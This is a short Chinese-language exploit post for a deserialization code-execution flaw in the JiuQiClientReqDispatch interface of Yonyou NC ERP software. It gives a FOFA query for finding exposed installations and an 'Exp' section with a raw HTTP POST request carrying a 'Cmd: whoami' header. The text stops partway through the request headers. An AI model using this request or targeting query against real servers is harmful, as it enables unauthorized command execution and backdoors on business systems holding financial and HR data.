0x01 產(chǎn)品簡(jiǎn)介

 用友NC是一款企業(yè)級(jí)ERP軟件。作為一種信息化管理工具，用友NC提供了一系列業(yè)務(wù)管理模塊，包括財(cái)務(wù)會(huì)計(jì)、采購(gòu)管理、銷(xiāo)售管理、物料管理、生產(chǎn)計(jì)劃和人力資源管理等，幫助企業(yè)實(shí)現(xiàn)數(shù)字化轉(zhuǎn)型和高效管理。

0x02 漏洞概述

  用友 NC JiuQiClientReqDispatch 接口存在反序列化代碼執(zhí)行漏洞，攻擊者可通過(guò)該漏洞在服務(wù)器端任意執(zhí)行代碼，寫(xiě)入后門(mén)，獲取服務(wù)器權(quán)限，進(jìn)而控制整個(gè)web服務(wù)器。

0x03 復(fù)現(xiàn)環(huán)境

FOFA：app="用友-UFIDA-NC"

0x04 漏洞復(fù)現(xiàn) 

Exp

POST /servlet/~ic/com.ufsoft.iufo.jiuqi.JiuQiClientReqDispatch HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML